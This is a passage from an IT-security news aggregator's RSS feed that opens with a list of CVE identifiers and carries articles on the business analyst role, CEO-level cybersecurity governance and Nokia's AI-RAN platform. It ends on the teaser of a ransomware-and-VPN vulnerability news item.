CVE-2026-64015, CVE-2026-64017, CVE-2026-64018, CVE-2026-64019,
CVE-2026-64020, CVE-2026-64021, CVE-2026-64022, CVE-2026-64023,
CVE-2026-64024, CVE-2026-64025, CVE-2026-64026, CVE-2026-64027,
CVE-2026-64029, CVE-2026-64030, CVE-2026-64031, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64035, CVE-2026-64036,
CVE-2026-64037, CVE-2026-64038, CVE-2026-64039, CVE-2026-64040,
CVE-2026-64041, CVE-2026-64042, CVE-2026-64043, CVE-2026-64044,
CVE-2026-64045, CVE-2026-64046, CVE-2026-64047, CVE-2026-64048,
CVE-2026-64049, CVE-2026-64050, CVE-2026-64051, CVE-2026-64052,
CVE-2026-64053, CVE-2026-64054, CVE-2026-64055, CVE-2026-64056,
CVE-2026-64057, CVE-2026-64058, CVE-2026-64059, CVE-2026-64060,
CVE-2026-64061, CVE-2026-64062, CVE-2026-64063, CVE-2026-64064,
CVE-2026-64065, CVE-2026-64066, CVE-2026-64067, CVE-2026-64068,
CVE-2026-64069, CVE-2026-64070, CVE-2026-64071, CVE-2026-64072,
CVE-2026-64073, CVE-2026-64074, CVE-2026-64075, CVE-2026-64076,
CVE-2026-64077, CVE-2026-64078, CVE-2026-64079, CVE-2026-64080,
CVE-2026-64081, CVE-2026-64082, CVE-2026-64083, CVE-2026-64084,
CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088,
CVE-2026-64089, CVE-2026-64090, CVE-2026-64091, CVE-2026-64093,
CVE-2026-64094, CVE-2026-64095, CVE-2026-64096, CVE-2026-64097,
CVE-2026-64098, CVE-2026-64099, CVE-2026-64100, CVE-2026-64101,
CVE-2026-64102, CVE-2026-64103, CVE-2026-64104, CVE-2026-64105,
CVE-2026-64106, CVE-2026-64107, CVE-2026-64108, CVE-2026-64109,
CVE-2026-64110, CVE-2026-64111, CVE-2026-64112, CVE-2026-64113,
CVE-2026-64114, CVE-2026-64115, CVE-2026-64116, CVE-2026-64117,
CVE-2026-64118, CVE-2026-64119, CVE-2026-64120, CVE-2026-64121,
CVE-2026-64122, CVE-2026-64123, CVE-2026-64124, CVE-2026-64125,
CVE-2026-64126, CVE-2026-64127, CVE-2026-64128, CVE-2026-64129,
CVE-2026-64130, CVE-2026-64131, CVE-2026-64132, CVE-2026-64133,
CVE-2026-64134, CVE-2026-64135, CVE-2026-64136, CVE-2026-64137,
CVE-2026-64138, CVE-2026-64140, CVE-2026-64141, CVE-2026-64142,
CVE-2026-64143, CVE-2026-64144, CVE-2026-64145, CVE-2026-64146,
CVE-2026-64147, CVE-2026-64148, CVE-2026-64149, CVE-2026-64150,
CVE-2026-64151, CVE-2026-64152, CVE-2026-64153, CVE-2026-64154,
CVE-2026-64155, CVE-2026-64156, CVE-2026-64157, CVE-2026-64158,
CVE-2026-64159, CVE-2026-64160, CVE-2026-64161, CVE-2026-64162,
CVE-2026-64163, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64167, CVE-2026-64168, CVE-2026-64169, CVE-2026-64170,
CVE-2026-64171, CVE-2026-64172, CVE-2026-64173, CVE-2026-64174,
CVE-2026-64175, CVE-2026-64176, CVE-2026-64177, CVE-2026-64178,
CVE-2026-64179, CVE-2026-64180, CVE-2026-64181, CVE-2026-64182,
CVE-2026-64183, CVE-2026-64184, CVE-2026-64185, CVE-2026-64186)]]></content:encoded>
</item>
<item>
<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
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<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]></title>
<description><![CDATA[Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity...]]></description>
<link>https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</guid>
<pubDate>Fri, 24 Jul 2026 10:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.</p>



<p class="wp-block-paragraph">With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.</p>



<p class="wp-block-paragraph">Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including <a href="https://www.networkworld.com/article/4128115/is-private-5g-6g-important-after-all.html">providing a path to 6G</a>. The partnership with Nvidia brings CUDA and AI into mobile environments.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.</p>



<h2 class="wp-block-heading">What AI-RAN actually is</h2>



<p class="wp-block-paragraph">At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. <a href="https://www.linkedin.com/in/cheers/">Udayan Mukherjee</a>, Nokia’s CTO for RAN and core, summarized the vision in the <a href="https://www.networkworld.com/article/4200815/AI-RAN-analyst-briefing-20260714_095948-Meeting-Recording-2-_1_otter_ai_transcript.txt">analyst briefing</a>: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform… one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”</p>



<p class="wp-block-paragraph">Several pillars stand out:</p>



<ul class="wp-block-list">
<li>AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.</li>



<li>Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.</li>



<li>Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.</li>



<li>Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product… but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.</li>
</ul>



<h2 class="wp-block-heading">Why AI-RAN matters for operators</h2>



<p class="wp-block-paragraph">Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.</p>



<p class="wp-block-paragraph">First, spectrum constraints. <a href="https://www.linkedin.com/in/aji-ed/">Aji Ed</a>, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.</p>



<p class="wp-block-paragraph">Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.</p>



<p class="wp-block-paragraph">Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation… we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.</p>



<p class="wp-block-paragraph">For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.</p>



<h2 class="wp-block-heading">Nokia’s differentiation strategy</h2>



<p class="wp-block-paragraph">Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure… all of these require much higher compute, which is exactly what is coming from the accelerated computing.”</p>



<p class="wp-block-paragraph">Several differentiators emerge:</p>



<ul class="wp-block-list">
<li>Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.</li>



<li>Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.</li>



<li>Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.</li>



<li>Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.</li>
</ul>



<p class="wp-block-paragraph">Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform… any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.</p>



<h2 class="wp-block-heading">How AI-RAN unlocks new revenue</h2>



<p class="wp-block-paragraph">Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.</p>



<p class="wp-block-paragraph">Examples include:</p>



<ul class="wp-block-list">
<li>Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it… as well as two other companies developing location services.”</li>



<li>Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.</li>



<li>Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.</li>



<li>Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.</li>
</ul>



<p class="wp-block-paragraph">Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:</p>



<ul class="wp-block-list">
<li>Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.</li>



<li>Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.</li>



<li>Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.</li>
</ul>



<p class="wp-block-paragraph">For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”</p>



<h2 class="wp-block-heading">Adoption path and reality check</h2>



<p class="wp-block-paragraph">Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.</p>



<p class="wp-block-paragraph">There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.</p>
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<title><![CDATA[Ransomware groups are hammering your vulnerable VPNs]]></title>
<description><![CDATA[Cybercriminals are actively exploiting a recently discovered vulnerability in Palo Alto Networks firewall and VPN appliances to deploy the Qilin ransomware strain.



A critical authentication bypass flaw (CVE-2026-0257) in Palo Alto GlobalProtect portal and gateway was the common link in a serie...]]></description>
<link>https://tsecurity.de/de/3690892/it-security-nachrichten/ransomware-groups-are-hammering-your-vulnerable-vpns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690892/it-security-nachrichten/ransomware-groups-are-hammering-your-vulnerable-vpns/</guid>
<pubDate>Fri, 24 Jul 2026 09:10:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
